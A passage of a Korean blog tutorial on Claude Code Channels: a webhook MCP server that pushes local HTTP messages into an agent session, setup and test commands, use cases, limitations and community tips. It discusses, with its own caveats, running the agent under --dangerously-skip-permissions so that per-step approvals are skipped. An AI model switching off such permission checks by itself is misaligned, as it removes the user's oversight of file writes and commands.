bun add @modelcontextprotocol/sdk&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;cs&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// webhook.ts &amp;mdash; 전체 채널 서버 (Bun)
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';

// MCP 서버 생성 + 채널 capability 선언
const mcp = new Server(
  { name: 'webhook', version: '0.0.1' },
  {
    // 이 키가 채널의 핵심 &amp;mdash; Claude Code가 알림 리스너를 등록한다
    capabilities: { experimental: { 'claude/channel': {} } },
    // Claude의 시스템 프롬프트에 추가되어 이벤트 처리 방법을 안내
    instructions: 'Events from the webhook channel arrive as &amp;lt;channel source=&quot;webhook&quot; ...&amp;gt;. Read them and act, no reply expected.'
  }
);

// stdio로 Claude Code에 연결
await mcp.connect(new StdioServerTransport());

// HTTP 서버 &amp;mdash; POST를 받아 Claude에 전달
Bun.serve({
  port: 8788,
  hostname: '127.0.0.1', // localhost 전용
  async fetch(req) {
    const body = await req.text();
    await mcp.notification({
      method: 'notifications/claude/channel',
      params: {
        content: body,
        meta: { path: new URL(req.url).pathname, method: req.method }
        // ⚠️ meta 키에 하이픈(-) 포함 시 Claude Code가 자동으로 무시함
        // 예: 'content-type' &amp;rarr; 사용 불가 / 'contentType' &amp;rarr; 정상 작동
      }
    });
    return new Response('ok');
  }
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP 설정 파일 (.mcp.json):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;webhook&quot;: {
      &quot;command&quot;: &quot;bun&quot;,
      &quot;args&quot;: [&quot;./webhook.ts&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 개발 채널 로딩 (리서치 프리뷰 기간 필수)
claude --dangerously-load-development-channels server:webhook

# 다른 터미널에서 CI 실패 시뮬레이션
curl -X POST localhost:8788 -d &quot;build failed on main: https://ci.example.com/run/1234&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 세션에 이렇게 도착한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;&amp;lt;channel source=&quot;webhook&quot; path=&quot;/&quot; method=&quot;POST&quot;&amp;gt;
  build failed on main: https://ci.example.com/run/1234
&amp;lt;/channel&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 이 메시지를 받아 파일을 읽고, 명령을 실행하고, 빌드 실패를 분석하기 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 실전 사용 사례 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 활용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MacStories의 런치 나이트 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 실전 가능성을 가장 잘 보여준 것은 &lt;a href=&quot;https://www.macstories.net/stories/first-look-hands-on-with-claude-codes-new-telegram-and-discord-integrations/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MacStories의 런치 나이트 리뷰&lt;/a&gt;다. 출시 당일, 터미널을 한 번도 건드리지 않고 아이폰의 텔레그램만으로 다음을 수행했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iOS 프로젝트 빌드 + 배포:&lt;/b&gt; xcodebuild로 iOS 앱을 빌드하고, 채팅 중이던 아이폰에 무선으로 배포&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Readwise Reader CLI:&lt;/b&gt; &quot;NPC&quot; 태그가 붙은 83개 글 목록 수집&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팟캐스트 오디오 트랜스크립션:&lt;/b&gt; Claude Code 스킬로 오디오 변환 &amp;rarr; 정리 &amp;rarr; TXT, SRT, 마크다운 리포트를 아이폰으로 수신&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: --dangerously-skip-permissions 트레이드오프&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MacStories 테스트에서는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 플래그를 사용했다. 이 플래그 없이는 파일 쓰기, 명령 실행, 빌드 등 매 단계마다 터미널에서 권한 승인이 필요하다.&lt;br /&gt;&lt;br /&gt;현재의 트레이드오프: &lt;b&gt;완전한 원격 제어&lt;/b&gt; 또는 &lt;b&gt;권한 안전성&lt;/b&gt;. 둘 다는 아직 안 된다. Permission Relay 기능이 이 격차를 줄이는 방향이지만, 아직 초기 단계이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Channels 아키텍처 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Permission Relay: 원격에서 도구 승인하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Permission Relay는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;의 대안이 될 수 있는 기능이다. 채널을 통해 도구 사용 승인 요청을 원격으로 전달한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 파일 쓰기 등 권한이 필요한 도구를 호출하려 한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;승인 요청이 텔레그램/디스코드 채팅으로 전달된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사용자가 채팅에서 승인/거부를 선택한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;결과가 Claude Code 세션에 전달되어 실행이 계속된다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이를 통해 터미널 앞에 앉아있지 않으면서도 권한 제어를 유지할 수 있다. 다만, 공식 문서에서 이 기능은 &lt;b&gt;신뢰된 발신자 경로가 있는 채널에서만&lt;/b&gt; 작동하며, sender allowlist가 올바르게 설정되어야 한다고 명시하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 제한사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 제한사항과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels의 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 종료 시 비활성:&lt;/b&gt; Claude Code 세션이 종료되면 채널도 함께 종료된다. PC를 잠그거나 Claude Code를 닫으면 메시지를 받을 수 없다. &lt;b&gt;팁:&lt;/b&gt; &lt;code&gt;tmux&lt;/code&gt;나 &lt;code&gt;screen&lt;/code&gt; 안에서 &lt;code&gt;claude --channels ...&lt;/code&gt;를 실행하면 터미널을 닫아도 세션이 유지된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;메시지 히스토리 없음 (Telegram):&lt;/b&gt; Telegram Bot API는 메시지 히스토리를 제공하지 않는다. 세션이 꺼져 있을 때 보낸 메시지는 유실된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;리서치 프리뷰:&lt;/b&gt; &lt;code&gt;--channels&lt;/code&gt; 플래그 문법과 알림 프로토콜이 변경될 수 있다. 안정 릴리스 시점은 공식적으로 발표되지 않았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;API 키 미지원:&lt;/b&gt; claude.ai 로그인만 지원한다. Console이나 API 키 인증으로는 사용할 수 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;권한 관리:&lt;/b&gt; &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 없이는 매번 터미널에서 승인이 필요하다. Permission Relay가 대안이지만 아직 초기 단계다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw의 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 직접 관리:&lt;/b&gt; 서드파티 스킬의 보안 검증이 사용자 책임이다. Cisco가 발견한 데이터 유출 사례처럼, 검증 없이 스킬을 설치하면 위험하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서버 운영 비용:&lt;/b&gt; 24시간 실행을 위해 EC2/VPS 비용이 추가로 발생한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;설정 복잡도:&lt;/b&gt; 다양한 플랫폼 지원은 장점이지만, 초기 설정의 복잡도도 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 프로젝트 접근 한계:&lt;/b&gt; 내 PC의 프로젝트 파일에 직접 접근할 수 없다. 서버에 코드를 배치해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 커뮤니티 반응과 실전 팁 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 커뮤니티 반응과 실전 팁&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels 발표 직후, 개발자 커뮤니티의 반응은 폭발적이었다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 반응 하이라이트&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Ethan Mollick&lt;/b&gt; (와튼 교수, AI 인플루언서)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; margin-bottom: 10px; font-style: italic;&quot;&gt;&quot;Claude 팀이 OpenClaw 같은 것에서 배우고 이런 기능을 매일같이 출시할 수 있다는 것은, AI 기반 코딩 팀에게 매우 다른 소프트웨어 개발 프로세스가 가능하다는 강력한 논거다.&quot;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Boris Vagner&lt;/b&gt; (개발자)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; margin-bottom: 10px; font-style: italic;&quot;&gt;&quot;Claude Code는 지금 차원이 다르다. 어제 Dispatch를 세팅하고 폰에서 기능 추가, 업데이트 배포를 마찰 없이 해냈다. 2시간 전에 Discord + Telegram 채널이 나왔는데, 세팅하고 나니 정말 놀랍다.&quot;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sarvesh Shrivastava&lt;/b&gt; (개발자)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; font-style: italic;&quot;&gt;&quot;무슨 일이 일어난 건지 이해하겠는가 &amp;mdash; 이제 텔레그램으로 Claude Code에 문자를 보내면, 내가 자리를 비운 사이에 컴퓨터가 작업을 하고 있고, 돌아오면 완성된 작업이 있다. 몇 주 전까지만 해도 AI 에이전트를 위해 Mac Mini를 24시간 돌려야 했는데.&quot;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;흥미로운 관점 &amp;mdash; Daniel San&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Code Channels가 나왔다. 세션을 텔레그램/디스코드로 제어할 수 있다. 하지만 우리는 이미 앱과 Remote Control로 이걸 할 수 있었다. 그런데 왜 메시징 플랫폼인가? &lt;b&gt;이 플랫폼들이 완전히 다른 수준의 인터랙션을 열어주기 때문이다.&lt;/b&gt;&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면, 일본의 한 CEO는 좀 더 냉정한 평가를 내놓기도 했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;Claude Code Channels를 즉시 구현해봤다. Discord 연결까지 약 5분. 다만 Discord에서 다른 폴더를 실행할 수 없어서 Remote Control과 큰 차이를 느끼지 못했다.&quot; &amp;mdash; &lt;a href=&quot;https://x.com/masahirochaen/status/2034915598388359679&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Chaen (Digirise CEO)&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티에 기반의 팁&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 1. &quot;Channels are not currently available&quot; 오류 해결&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;에서 텔레메트리 관련 환경변수가 설정되어 있으면 Channels가 비활성화된다. 해결법:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;awk&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# settings.json에서 DISABLE_TELEMETRY 환경변수를 완전히 제거해야 한다
# 값을 0으로 설정해도 동작하지 않는다 &amp;mdash; 키 자체를 삭제해야 한다
jq 'del(.env.DISABLE_TELEMETRY)' ~/.claude/settings.json &amp;gt; /tmp/s.json &amp;amp;&amp;amp; mv /tmp/s.json ~/.claude/settings.json&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://x.com/janxin/status/2034820210918650070&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@janxin, X&lt;/a&gt;) &lt;b&gt;⚠️ 커뮤니티 팁이며 공식 문서 미확인. 적용 전 백업 권장 한다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 2. 응답 시간 기대치&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 테스트 결과, 대략적인 응답 시간은 다음과 같다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대략적 응답 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;메시지 &amp;rarr; Claude 반응 시작&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;약 3~5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간단한 명령 (테스트 실행, 파일 확인)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;10~30초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;복잡한 작업 (빌드, 대규모 파일 작업)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수 분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 이 수치는 커뮤니티 경험 기반의 추정이며, 네트워크 환경과 작업 복잡도에 따라 달라질 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 3. 토큰 사용량 주의&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;채널을 통한 모든 활동은 Claude Code &lt;b&gt;토큰 쿼터를 소비&lt;/b&gt;한다. Pro 플랜 사용자는 장시간 비동기 작업 시 일일 한도에 도달할 수 있으므로, 작업 범위를 특정 프로젝트 디렉토리로 제한하는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 4. skip-permissions 보안 가이드&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.shareuhack.com/en/posts/claude-code-channels-telegram&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ShareUHack의 핸즈온 리뷰&lt;/a&gt;에 따르면: 모니터링 용도에는 기본 모드를, 자동 작업에는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 사용하되 &lt;b&gt;작업 범위를 특정 프로젝트 디렉토리로 제한&lt;/b&gt;할 것을 권장한다. &quot;누가 메시지를 보내는가&quot;는 보호하지만, &quot;Claude가 메시지를 받은 후 무엇을 하는가&quot;는 skip-permissions 모드에서 보호할 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 5. 텔레그램 + 디스코드 동시 사용&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 플래그에 플러그인을 공백으로 구분하면 두 채널을 동시에 실행할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude --channels plugin:telegram@claude-plugins-official plugin:discord@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 채널은 독립적이다. 텔레그램 메시지에는 텔레그램으로, 디스코드 메시지에는 디스코드로 응답한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 6. tmux 자동 재시작으로 세션 유지&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;세션이 크래시되더라도 자동으로 재시작되는 패턴:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;julia&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 크래시 시 5초 후 자동 재시작
tmux new -s claude-channels 'while true; do claude --channels plugin:telegram@claude-plugins-official; sleep 5; done'

# 나중에 다시 붙기
tmux attach -t claude-channels&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;낮에 외출, 밤에 복귀&quot; 패턴에 적합하다. 다만 진정한 24/7 데몬은 아니므로, 상시 실행이 필요하면 OpenClaw가 여전히 더 적합하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 필수: 페어링 직후 allowlist 모드로 전환 (섹션 6의 Step 4에서 이미 다룸)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;페어링 모드에서는 봇에게 메시지를 보내는 &lt;b&gt;누구나&lt;/b&gt; 페어링 코드를 받을 수 있다. 셋업 가이드(섹션 6)의 Step 4에서 이미 다뤘지만 다시 강조한다 &amp;mdash; 페어링 직후 반드시 실행해야 한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 8px; margin: 8px 0; font-family: 'Fira Code', monospace; font-size: 13px; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/telegram:access policy allowlist
/discord:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티가 가장 원하는 기능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;X와 Hacker News에서 반복적으로 등장하는 기능 요청:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iMessage 지원&lt;/b&gt; &amp;mdash; 압도적 1위 요청. Apple 생태계 사용자의 숙원&lt;/li&gt;
